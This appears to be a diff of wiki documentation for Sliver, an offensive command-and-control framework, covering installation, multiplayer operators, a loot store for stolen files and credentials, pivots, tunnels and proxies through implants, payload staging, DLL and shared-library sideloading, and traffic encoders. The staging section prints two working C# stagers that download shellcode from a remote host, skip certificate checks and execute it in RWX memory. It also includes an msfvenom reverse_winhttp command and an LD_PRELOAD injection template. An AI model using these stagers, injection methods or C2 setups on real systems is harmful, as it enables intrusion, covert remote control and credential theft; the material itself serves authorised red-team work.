9. Should the request merit a response, encode the encrypted response using the same encoder as the request. By using the same encoder as the request we ensure the implant supports a given encoder (in case of a version mismatch between implant and server) and allows the implant to limit the encoders used if it so chooses.
10. Send the response back to the implant.
@@ -0,0 +1,40 @@
This script will install the latest version of Sliver as a systemd service, installs Windows cross-compiler dependencies (mingw), and setup multiplayer for the all local users. After running the script connect locally by running `sliver`.
https://sliver.sh/install
This script should work on Kali, Ubuntu, and RHEL (CentOS, etc) distributions of Linux.
**⚠️ OPSEC:** By default the Linux install script will bind the multiplayer listener to `:31337` i.e. all interfaces. Ensure your firewalls are properly configured if this is a concern, or reconfigure the server to bind to localhost if you only wish to allow local users. Multiplayer Mode is authenticated using mTLS/gRPC and per-operator bearer tokens, so this doesn't present a security problem (notwithstanding bugs in our implementation), but publicly exposing your multiplayer listener will make it trivial to identify what the server is running.
### One Liner
```
curl https://sliver.sh/install|sudo bash
```
- Installs server binary to `/root/sliver-server`
- Installs mingw
- Runs the server in daemon mode using systemd
- Installs client to `/usr/local/bin/sliver`
- Generates multiplayer configurations for all users with a `/home` directory
### Systemd Service
The following systemd configuration is used:
```ini
[Unit]
Description=Sliver
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=on-failure
RestartSec=3
User=root
ExecStart=/root/sliver-server daemon
[Install]
WantedBy=multi-user.target
```
+17
View File
@@ -0,0 +1,17 @@
The `loot` command is a server-side store of looted files and credentials. Since this is implemented server-side, all files and credentials in the loot store are shared amongst all operators in multiplayer mode. See `loot --help` for a complete list of sub-commands.
### Adding Loot
You can add loot to the loot store several different ways:
- The `loot remote` command can be used to pull a file directly from a remote system to the loot store (requires an active session).
- The `loot local` command can be used to add files from the operator's local machine to the loot store.
- Several commands (e.g. `sideload`, and `execute-assembly`) have the `--loot` flag, which can be used to save the output of the command to the loot store.
### Fetching Loot
To fetch (i.e., look at) a piece of loot use the `loot fetch` command, it will present an interactive menu for you to select from. Textual loot will be displayed directly, file loot can be saved to a local file.
### Remove Loot
The `loot rm` command is used to remove loot from the server.
@@ -0,0 +1,82 @@
Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to setup a server for multiplayer is to use the [Linux install script](https://github.com/BishopFox/sliver/wiki/Linux-Install-Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode.
```
┌──────────────────┐ C2
│ │ Protocol ┌─────────┐
│ Sliver C2 Server ├─────────────►│ Implant │
│ │ └─────────┘
└──────────────────┘
▲
│
gRPC/mTLS │
┌────────────┬────────┴─────┬───────────┐
│ │ │ │
┌─────┴──┐ │ │ ┌──┴─────┐
│Windows │ ┌────┴───┐ ┌────┴───┐ │Windows │
│Operator│ │Linux │ │MacOS │ │Operator│
└────────┘ │Operator│ │Operator│ └────────┘
└────────┘ └────────┘
```
## New Operators
Operators will need to download their preferred platform's client software from the releases page. Clients can connect to servers of differing platforms (e.g. a Windows client can connect to a Linux server). Operators and servers authenticate using Mutual TLS, however all the certificates are managed automatically for you.
- If you did not install the server as a systemd service, be sure to leave the server console running in screen or [tmux](https://github.com/tmux/tmux) after starting the multiplayer listener.
- If you did install the server as systemd service see the CLI section below for an alternative to the console commands for generating operator configs.
Operators need a configuration file generated by the Sliver server to connect in multiplayer mode. The Sliver client can support multiple configuration files, but you can only be connected to one server at a time (per process).
From the server use the `new-operator` command to generate a new operator configuration file. You'll need to specify the operator's `--name` and the `--lhost` of the server (e.g., its public IP). Then from the server start a multiplayer listener using the `multiplayer` command to allow operators to connect:
**Note:** The `new-operator` and `multiplayer` commands are only accessible from the server's console
```
[server] sliver > new-operator --name moloch --lhost 1.2.3.4
[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /Users/moloch/Desktop/moloch_example.com.cfg
[server] sliver > multiplayer
[*] Multiplayer mode enabled!
```
**IMPORTANT:** Before clients can connect to a server you must start an RPC listener with the `multiplayer` command. The default port is TCP/31337.
You can now give this configuration file `moloch_example.com.cfg` to the operator and they can connect to the server using the `sliver-client` binary. The sliver client will look for configuration files in `~/.sliver-client/configs/` or you can import configs using the `import` cli. The configs directory can contain multiple configs for different servers.
```
$ ./sliver-client import ./moloch_example.com.cfg
$ ./sliver-client
? Select a server: [Use arrows to move, type to filter]
> example.com
localhost
```
### Server CLI / Daemon Mode Multiplayer
If the server is running in daemon mode (as is the default with the Linux install script), that means the multiplayer listener is started for you without an interactive console. You can use the server binaries' CLI to generate operator configuration files to connect:
```
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --save zer0cool.cfg
```
The installation scripts by default will place the `sliver-server` binary in `/root`.
### Tailscale Integration
⚠️ This section describes an unreleased feature from an upcoming version ⚠️
Starting in v1.6 Sliver supports multiplayer integration with [Tailscale](https://tailscale.com/), which is an excellent option when wanting to maintain operational security.
```
$ export TS_AUTHKEY=<tailscale authkey>
$ ./sliver-server
sliver > multiplayer -T
```
You should now see a new Tailscale host named `sliver-server-<machine>`, you can set this using the `--lhost` flag. Use this as the hostname when connecting to the Sliver server from any other host on the Tailscale network.
+58
View File
@@ -0,0 +1,58 @@
⚠️ **IMPORTANT:** Pivots in Sliver are used for specifically pivoting C2 traffic, not to be confused with port forwarding `portfwd`, which is used for tunneling generic tcp connections into a target environment.
⚠️ **IMPORTANT:** Pivots can only be used in "session mode" (we may add beacon support later)
Pivots allow you to create "chains" of implant connections, for example if you're trying to deploy a pivot into a highly restricted subnet that cannot route traffic directly to the internet you can instead create an implant that egresses all traffic via another implant in a less restricted subnet. Sliver v1.5 and later pivots can be arbitrarily nested, for example a pivot A can connect thru pivot B to a third egress implant.
In Sliver you use an existing session to create a "pivot listener" and then generate new pivots that can connect back to that listener, just as you would with other C2 protocols/endpoints.
Pivots perform an [authenticated peer-to-peer cryptographic key exchange](https://github.com/BishopFox/sliver/wiki/Transport-Encryption#implant-to-implant-key-exchange-pivots) regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server; this restriction cannot be disabled.
## TCP Pivots
TCP pivots are implemented in pure Go and are supported on all platforms.
```
[server] sliver (PRIOR_MANTEL) > pivots tcp
[*] Started tcp pivot listener :9898 with id 1
[server] sliver (PRIOR_MANTEL) > pivots
ID Protocol Bind Address Number Of Pivots
==== ========== ============== ==================
1 TCP :9898 0
```
We can now use `generate --tcp-pivot 192.168.1.1:9898` to generate an implant that will connect to the pivot listener, where `192.168.1.1` is the local IP of the server on which we started the listener.
## Named Pipe Pivots (SMB)
Named pipe pivots are only supported on Windows. Select a session to start a named pipe listener, and then use the `--bind` flag to specify a pipe name. Pipes are automatically started on the local machine so you only need to specify a name, remote clients are always allowed to connect to the pipe, but the default ACL will only allow the current user/group. You can allow all user/groups by using the `--allow-all` flag:
```
[*] Session a2615359 WARM_DRIVEWAY - 192.168.1.178:59290 (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:09:20 CST
[server] sliver > use a2615359-b0a4-4463-820b-f4dbe6fb2c30
[*] Active session WARM_DRIVEWAY (a2615359-b0a4-4463-820b-f4dbe6fb2c30)
[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar
[*] Started named pipe pivot listener \\.\pipe\foobar with id 1
```
Next we generate a named pipe implant using `generate --named-pipe 192.168.1.1/pipe/foobar` note here we may need to specify the IP address of the listener: `192.168.1.1`. The syntax is `<host>/pipe/<pipe name>`, note that `.` is equivalent to `127.0.0.1`. This is just the standard syntax for Windows named pipes.
```
[*] Session 13f9ee6b ROUND_ATELIER - 192.168.1.178:59290->WARM_DRIVEWAY-> (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:15:11 CST
[server] sliver (WARM_DRIVEWAY) > sessions
ID Name Transport Remote Address Hostname Username Operating System Last Check-In Health
========== =============== =========== ====================================== ================= =============================== ================== =============================== =========
13f9ee6b ROUND_ATELIER pivot 192.168.1.178:59290->WARM_DRIVEWAY-> WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE]
a2615359 WARM_DRIVEWAY mtls 192.168.1.178:59290 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE]
```
⚠️ **IMPORTANT:** In some environments you may need to use the `--allow-all` flag when starting the pviot listener to allow all users/groups
@@ -0,0 +1,90 @@
Sliver provides two mechanisms for port forwarding to tunnel additional connections / tools into the target environment via an implant:
- `portfwd` - This command (available on all C2s) uses Sliver's in-band tunnels to transfer data between your local machine and the implant network (i.e., if you're using HTTP C2 all port forwarded traffic is tunneled over HTTP, same for mTLS/DNS/etc.)
- `wg-portfwd` - This command uses WireGuard port forwarding, and is only available when using WireGuard C2.
**NOTE:** Generally speaking `wg-portfwd` is faster and more reliable, we recommend using it whenever possible. Some protocols may be unstable, or may not work when tunneled via `portfwd`. However, `wg-portfwd` does requires a little extra setup (see below).
## In-Band Tunneled Port Forwarding
Tunneled port forwarding can be done over any C2 transport, and should work out of the box. Interact with the session you'd like to port forward through and use the `portfwd add` command:
```
sliver (STUCK_ARTICLE) > portfwd add --remote 10.10.10.10:22
[*] Port forwarding 127.0.0.1:8080 -> 10.10.10.10:22
```
By default all port forwards will be bound to the `127.0.0.1` interface, but you can override this using the `--bind` flag. Port forwarding also works in `multiplayer` mode and will forward ports to your local system.
#### Reverse Port Forwarding
As of v1.5.27 Sliver also supports reverse port forwarding via the `rportfwd` command.
## WireGuard Port Forwarding
In order to use `wg-portfwd` you'll need a WireGuard client, any client should work. However, we recommend using `wg-quick`, which is included in the `wireguard-tools` package available on most platforms (see [WireGuard](https://www.wireguard.com/install/) for more platforms):
- MacOS `brew install wireguard-tools`
- Ubuntu/Kali `sudo apt install wireguard-tools`
First generate a WireGuard C2 implant (using `generate --wg`), and then start a WireGuard listener:
```
sliver > wg
[*] Starting Wireguard listener ...
[*] Successfully started job #1
sliver > jobs
ID Name Protocol Port
== ==== ======== ====
1 wg udp 53
```
Next, using Sliver you can create WireGuard client configuration using the `wg-config` command (you can use `--save` to write the configuration directly to a file):
```
sliver > wg-config
[*] New client config:
[Interface]
Address = 100.64.0.16/16
ListenPort = 51902
PrivateKey = eMdqQ5zEF9Oflj+7wfyFQZjES02rfSBfZEN701FzmmQ=
MTU = 1420
[Peer]
PublicKey = HNFS0FydHkuCtEFPPFb3b2IW7iSmFajRJ2qSjifidiM=
AllowedIPs = 100.64.0.0/16
Endpoint = <configure yourself>
```
The only thing in the configuration file you'll need to change is the `Endpoint` setting, configure this to point to the Sliver server's WireGuard listener, and ensure to include the port number (by default UDP 53). Generally this will be the same value you specified as `--lhost` when generating the binary.
Make sure your WireGuard listener is running and connect using the client configuration:
```
$ wg-quick up wireguard.conf
```
Now that your machine is connected to the Sliver WireGuard listener, just wait for an implant to connect:
```
sliver > sessions
ID Name Transport Remote Address Hostname Username Operating System Last Check-in Health
== ==== ========= ============== ======== ======== ================ ============= ======
1 STUCK_ARTICLE wg 100.64.0.17:53565 MacBook-Pro jdoe darwin/amd64 Wed, 12 Apr 2021 19:21:00 CDT [ALIVE]
```
Interact with the session, and use `wg-portfwd add` to create port forwards:
```
sliver (STUCK_ARTICLE) > wg-portfwd add --remote 10.10.10.10:3389
[*] Port forwarding 100.64.0.17:1080 -> 10.10.10.10:3389
```
You can now connect to `100.64.0.17:1080` via your WireGuard interface and the connection will come out at `10.10.10.10:3389`!
@@ -0,0 +1,74 @@
Sliver supports two types of SOCKS5 proxies, an "in-band" proxy that tunnels though any C2 protocol, and WireGuard SOCKS proxy (only available when using WireGuard C2).
## In-band SOCKS5
An in-band reverse SOCKS5 proxy is supported in Sliver versions 1.5 and later. Note that the SOCKS proxy feature can only be used on sessions (i.e., interactive sessions) and not beacons.
```
sliver (UGLY_SCARIFICATION) > socks5 add
[*] Started SOCKS5 127.0.0.1 1081
⚠️ In-band SOCKS proxies can be a little unstable depending on protocol
```
Simply upstream to `127.0.0.1:1081` from here, see `socks5 add --help` for more options.
## WireGuard SOCKS5
In order to use `wg-socks` you'll need a WireGuard client, any client should work. However, we recommend using `wg-quick`, which is included in the `wireguard-tools` package available on most platforms (see [WireGuard](https://www.wireguard.com/install/) for more platforms):
- MacOS `brew install wireguard-tools`
- Ubuntu/Kali `sudo apt install wireguard-tools`
First generate a WireGuard C2 implant (using `generate --wg`), and then start a WireGuard listener:
```
sliver > wg
[*] Starting Wireguard listener ...
[*] Successfully started job #1
sliver > jobs
ID Name Protocol Port
== ==== ======== ====
1 wg udp 53
```
Next, using Sliver you can create WireGuard client configuration using the `wg-config` command (you can use `--save` to write the configuration directly to a file):
```
sliver > wg-config
[*] New client config:
[Interface]
Address = 100.64.0.16/16
ListenPort = 51902
PrivateKey = eMdqQ5zEF9Oflj+7wfyFQZjES02rfSBfZEN701FzmmQ=
MTU = 1420
[Peer]
PublicKey = HNFS0FydHkuCtEFPPFb3b2IW7iSmFajRJ2qSjifidiM=
AllowedIPs = 100.64.0.0/16
Endpoint = <configure yourself>
```
The only thing in the configuration file you'll need to change is the `Endpoint` setting, configure this to point to the Sliver server's WireGuard listener, and ensure to include the port number (by default UDP 53). Generally this will be the same value you specified as `--lhost` when generating the binary.
Make sure your WireGuard listener is running and connect using the client configuration:
```
$ wg-quick up wireguard.conf
```
Now that your machine is connected to the Sliver WireGuard listener, just wait for an implant to connect:
```
sliver > sessions
ID Name Transport Remote Address Hostname Username Operating System Last Check-in Health
== ==== ========= ============== ======== ======== ================ ============= ======
1 STUCK_ARTICLE wg 100.64.0.17:53565 MacBook-Pro jdoe darwin/amd64 Wed, 12 Apr 2021 19:21:00 CDT [ALIVE]
```
Interact with the session, and use `wg-socks` to create a SOCKS proxy!
+225
View File
@@ -0,0 +1,225 @@
**⚠️ Important:** You must have MinGW installed on your Sliver server to get some staged (e.g., Windows DLLs) payloads to work.
## Overview
As payloads can be pretty big (around 10MB), you may sometime require the use of stagers to execute your implant on a target system.
Sliver supports the `meterpreter` staging protocol over TCP and HTTP(S). This protocol is pretty straight forward:
- read the size of the stage 2 payload on the wire (the first 4 bytes for the TCP stager)
- download the stage 2
- allocate the size read in the first step, and write the stage in memory
For this to work, we need the following pieces:
- a staging server (the Sliver server)
- a stage 2 payload (usually a Sliver shellcode, but can be in other formats)
- stagers (generated by `msfvenom`, the Sliver `generate stager` command, or a custom one)
## Example
Sliver implements staging by reusing the profiles feature. Profiles are sorts of implant blueprints that define a configuration to be reused by the `profiles new` command.
The following command creates a new profile that we will use for our staging listener:
```
sliver > profiles new --mtls 192.168.122.1 --format shellcode win-shellcode
[*] Saved new profile win-shellcode
sliver > profiles
Name Platform Command & Control Debug Format Obfuscation Limitations
==== ======== ================= ===== ====== =========== ===========
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
```
We can now create a staging listener and link it to the profile:
```
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode
[*] No builds found for profile win-shellcode, generating a new one
[*] Job 1 (tcp) started
sliver > jobs
ID Name Protocol Port
== ==== ======== ====
1 http tcp 1234
2 mtls tcp 8888
```
### Metasploit: Bring Your Own Stager
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole`, `msfvenom` or the `generate stager` command), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
```
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size
```
This will prepend the size of the payload to the final binary sent to the stager, as required by Metasploit's `custom` payloads.
Sliver staging listeners only accept `tcp://`, `http://` and `https://` schemes for the `--url` flag. The format for this flag is `scheme://IP:PORT`. If no value is specified for `PORT`, an error will be thrown out.
We can now generate a stager using the `generate stager` command:
```
sliver > generate stager --lhost 192.168.122.1 --lport 1234 --protocol http --save /tmp
[*] Sliver stager saved to: /tmp/CIRCULAR_BRA
```
By default, the staging protocol used is TCP. The `--protocol` flag can be used to specify either `tcp`, `http` or `https` as the staging protocol.
The generated shellcode can now be used on the target system to start a new Sliver session.
## Generating Stagers with the Metasploit Framework
The Metasploit framework can also be used to generate stager shellcodes or binaries. One can use either `msfconsole` or `msfvenom` directly, and choose a `custom` payload type:
```
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff -f raw -o /tmp/stager.bin
```
**Remark**: At the moment, the `custom/reverse_http` payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the `custom/reverse_winhttp` payload instead.
## Custom Stagers
One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#procedural-http-c2>).
The default file extension used to retrieve a stage 2 payload is `.woff`. It can be configured in the [HTTP C2 options](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#implant_config>) using the `stager_file_ext` setting.
As a result, if you want to implement your own stager to fetch a stage 2 payload via HTTP, you need to query a URL that looks like this: `http://SLIVER-SERVER:STAGING-PORT/whatever.woff`.
Here is a C# example of a custom HTTP stager, make sure to compile the C# code for the correct CPU architecture e.g. `/platform:x64`:
```csharp
using System;
using System.Net;
using System.Runtime.InteropServices;
namespace SliverStager
{
public class Stager
{
private static string url = "http://a.bc/test.woff";
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void DownloadAndExecute()
{
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
System.Net.WebClient client = new System.Net.WebClient();
byte[] shellcode = client.DownloadData(url);
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
public static void Main(String[] args)
{
DownloadAndExecute();
}
}
}
```
## Encrypted Stage Example
Sliver supports encryption and compression when serving stages. Compression options are `zlib`, `gzip`, and `deflate` (level 9). Encryption is done via AES-CBC-128, since this encryption is primarily for obfuscation we don't really need a more secure cipher mode.
```
stage-listener --url http://192.168.0.52:80 --profile win-shellcode --aes-encrypt-key D(G+KbPeShVmYq3t --aes-encrypt-iv 8y/B?E(G+KbPeShV
```
If aes-encrypt-iv is not set it defaults to `0000000000000000`. After the stage generation is completed AES key and iv are displayed. Note that this example does not include compression:
```csharp
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
namespace Sliver_stager
{
class Program
{
private static string AESKey = "D(G+KbPeShVmYq3t";
private static string AESIV = "8y/B?E(G+KbPeShV";
private static string url = "http://192.168.24.128:8443/test.woff";
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void DownloadAndExecute()
{
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
System.Net.WebClient client = new System.Net.WebClient();
byte[] shellcode = client.DownloadData(url);
List<byte> l = new List<byte> { };
for (int i = 16; i <= shellcode.Length -1; i++) {
l.Add(shellcode[i]);
}
byte[] actual = l.ToArray();
byte[] decrypted;
decrypted = Decrypt(actual, AESKey, AESIV);
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40);
Marshal.Copy(decrypted, 0, addr, decrypted.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
{
byte[] key = Encoding.UTF8.GetBytes(AESKey);
byte[] IV = Encoding.UTF8.GetBytes(AESIV);
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = key;
aesAlg.IV = IV;
aesAlg.Padding = PaddingMode.None;
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream memoryStream = new MemoryStream(ciphertext))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(ciphertext, 0, ciphertext.Length);
return memoryStream.ToArray();
}
}
}
}
public static void Main(String[] args)
{
DownloadAndExecute();
}
}
}
```
@@ -0,0 +1,169 @@
# Sideloading features
Sliver implants support three different ways of loading third party tools:
- `execute-assembly`
- `sideload`
- `spawndll`
## Known limitations
Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the `--in-process` flag, or a custom BOF extension like `inline-execute-assembly`. There is currently no workaround for non-reflective PE extension.
## .NET assemblies loading
This feature is only supported on Windows.
Using `execute-assembly`, one can run an arbitrary .NET assembly on a remote system via a Sliver implant. The implant will start a sacrificial process (`notepad.exe` by default, you can change this by using the `--process`) that will host a reflective DLL used to load the .NET CLR. The assembly will then be copied into this process and a new thread will start on the reflective DLL entrypoint, which will load and run the assembly in memory.
Here's an example with [Seatbelt](https://github.com/GhostPack/Seatbelt):
```
sliver (CONCRETE_STEEL) > execute-assembly -t 80 /tmp/Seatbelt.exe All
[*] Assembly output:
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v0.2.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
=== Running System Triage Checks ===
=== Basic OS Information ===
Hostname : DESKTOP-0QQJ4JL
Domain Name :
Username : DESKTOP-0QQJ4JL\lab
ProductName : Windows 10 Pro
EditionID : Professional
ReleaseId : 1909
BuildBranch : 19h1_release
CurrentMajorVersionNumber : 10
CurrentVersion : 6.3
Architecture : AMD64
ProcessorCount : 2
IsVirtualMachine : True
BootTime (approx) : 5/19/2020 8:55:55 AM
HighIntegrity : False
IsLocalAdmin : True
[*] In medium integrity but user is a local administrator- UAC can be bypassed.
...
```
## Shared libraries side loading
The `sideload` command allows to load and run code in-memory (Windows/Linux) or via dropping a temporary file to disk (MacOS). On Windows, the DLL will be converted to a shellcode via [sRDI](https://github.com/monoxgas/sRDI) and injected into a sacrificial process.
On Linux systems, Sliver uses the `LD_PRELOAD` technique to preload a shared library previously written in a memory file descriptor using the `memfd_create` syscall. That way, no file is stored on disk, which grants the implant a bit of stealth. The shared library is preloaded in a sacrificial process, which is `/bin/ls` by default.
On MacOS systems, Sliver uses the `DYLD_INSERT_LIBRARIES` environment variable to preload a dynamic library into a program, chosen by the operator. The target program must allow unsigned libraries to be loaded that way.
No specific operation is performed by Sliver for Linux and Mac OS shared libraries, which means it's up to the operator to build their shared libraries to execute whenever they see fit. A good starting point would be using the `constructor` attribute for MacOS shared libraries, or adding a `.init_array` section for the Linux version.
Sliver will use the `LD_PARAMS` environment variable to pass arguments to the sideloaded libraries. Thus, the library can just read this environment variable to retrieve parameters and act accordingly.
Here's a starting point :
```c
#if __linux__
#include <stdlib.h>
void DoStuff();
static void init(int argc, char **argv, char **envp)
{
// unset LD_PRELOAD to prevent sub processes from misbehaving
unsetenv("LD_PRELOAD");
// retrieve the LD_PARAMS value
// unset LD_PARAMS if there's no need for it anymore
unsetenv("LD_PARAMS");
DoStuff();
}
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
#elif __APPLE__
void DoStuff();
__attribute__((constructor)) static void init(int argc, char **argv, char **envp)
{
// unset DYLD_INSERT_LIBRARIES to prevent sub processes from misbehaving
unsetenv("DYLD_INSERT_LIBRARIES");
// retrieve the LD_PARAMS value
// unset LD_PARAMS if there's no need for it anymore
unsetenv("LD_PARAMS");
DoStuff();
}
#endif
```
Don't forget to unset the `LD_PRELOAD` or `DYLD_INSERT_LIBRARIES` environment variables, otherwise any sub process started by your shared library or host process will be preloaded with your shared library.
To side load a shared library, use the `sideload` command like this:
```
// Windows example
sliver (CONCRETE_STEEL) > sideload -e ChromeDump /tmp/chrome-dump.dll
// Linux example
sliver (CONCRETE_STEEL) > sideload -p /bin/bash -a "My arguments" /tmp/mylib.so
// MacOS example
sliver (CONCRETE_STEEL) > sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
```
Please be aware that you need to specify the entrypoint to execute for Windows DLLs.
## Loading reflective DLLs
Loading reflective DLLs is just a special case of side loading DLLs. To make things easier, the `spawndll` command allows you to inject reflective DLLs and run them in a remote process.
Here's an example with the `PsC` tool from [Outflank's Ps-Tools suite](https://github.com/outflanknl/Ps-Tools):
```
sliver (CONCRETE_STEEL) > spawndll /tmp/Outflank-PsC.dll blah
[*] Output:
--------------------------------------------------------------------
[+] ProcessName: svchost.exe
ProcessID: 2960
PPID: 576 (services.exe)
CreateTime: 19/05/2020 10:53
Path: C:\Windows\System32\svchost.exe
ImageType: 64-bit
CompanyName: Microsoft Corporation
Description: Host Process for Windows Services
Version: 10.0.18362.1
<-> Session: TCP
State: ESTABLISHED
Local Addr: 172.16.241.128:49819
Remote Addr: 40.67.251.132:443
--------------------------------------------------------------------
[+] ProcessName: CONCRETE_STEEL.exe
ProcessID: 7400
PPID: 5440 (explorer.exe)
CreateTime: 19/05/2020 10:54
SessionID: 1
Path: C:\Users\lab\Desktop\CONCRETE_STEEL.exe
ImageType: 64-bit
UserName: DESKTOP-0QQJ4JL\lab
Integrity: Medium
PEB Address: 0x0000000000352000
ImagePath: C:\Users\lab\Desktop\CONCRETE_STEEL.exe
CommandLine: "C:\Users\lab\Desktop\CONCRETE_STEEL.exe"
<-> Session: TCP
State: ESTABLISHED
Local Addr: 172.16.241.128:49687
Remote Addr: 172.16.241.1:8888
```
Note that in this case, the entrypoint of the reflective DLL (`ReflectiveLoader`) expects a non NULL parameter, which is why we passed a dummy parameter `blah`.
@@ -0,0 +1,53 @@
⚠️ This page describes an unreleased feature from an upcoming version ⚠️
As of v1.6.0 Sliver supports user-defined "Traffic Encoders," which can be used to arbitrarily modify the Sliver implant's network communication over HTTP(S). Traffic Encoders are [Wasm-based](https://webassembly.org/) callback functions that encode/decode network traffic between the implant and the server. Traffic encoders can be written in any language that compiles to [Wasm](https://webassembly.org/). Traffic encoders are supported on all platforms and CPU architectures that Sliver can target, though performance may vary significantly.
[Examples](https://github.com/BishopFox/sliver/tree/v1.6.0/master/server/assets/traffic-encoders) are provided in this repository of a [Rust](https://www.rust-lang.org/)-based and a [TinyGo](https://tinygo.org/)-based encoder. For performance reasons we recommend implementing Traffic Encoders in Rust.
For performance reasons, by default C2 messages over 2Mb in size are NOT passed through user-defined Traffic Encoders, but instead always use a native built-in encoder; this limit can be configured at implant generation-time.
## Traffic Encoder Specification
### Exports
Traffic encoders are implemented in Wasm, and must export the following functions:
```go
decode(ptr, size uint32) (ptrSize uint64)
encode(ptr, size uint32) (ptrSize uint64)
malloc(size uint32) uint64
free(ptr uint32, size uint32)
```
The `encode` function takes a `uint32` pointer to a buffer and the `uint32` size of the buffer, and returns a `uint64` value where the upper 32 bits are a pointer to the address of the buffer and the lower 32 bits are the size of the buffer.
The `decode` function takes a `uint32` pointer to a buffer and the `uint32` size of the buffer, and returns a `uint64` value where the upper 32 bits are a pointer to the address of the buffer and the lower 32 bits are the size of the buffer.
The `malloc` function takes a `uint64` size. The function should allocate a buffer of the given size in bytes, and return a pointer to.
The `free` function takes a pointer to memory which should be freed and a size.
For example, a return value in Go may look like:
```go
return (uint64(ptr) << uint64(32)) | uint64(size)
```
Where `ptr` is a pointer to the buffer and `size` is the size of the buffer.
### Imports
Optionally, the following imports may be used:
```go
log(ptr uint32, size uint32)
rand() uint64
time() int64
```
The `log` function takes a pointer to a buffer and the size of the buffer, and logs the contents of the buffer to the console if the implant is in debug mode. On the server will also log the contents if configured to log at the DEBUG level or higher.
The `rand()` function returns 64-bits of cryptographically secure random data.
The `time()` function returns the current Unix Nano time as an `int64`.
@@ -0,0 +1,100 @@
**⚠️ NOTE:** This document does not apply when mTLS or WireGuard are used.
# Versions 1.5.40+
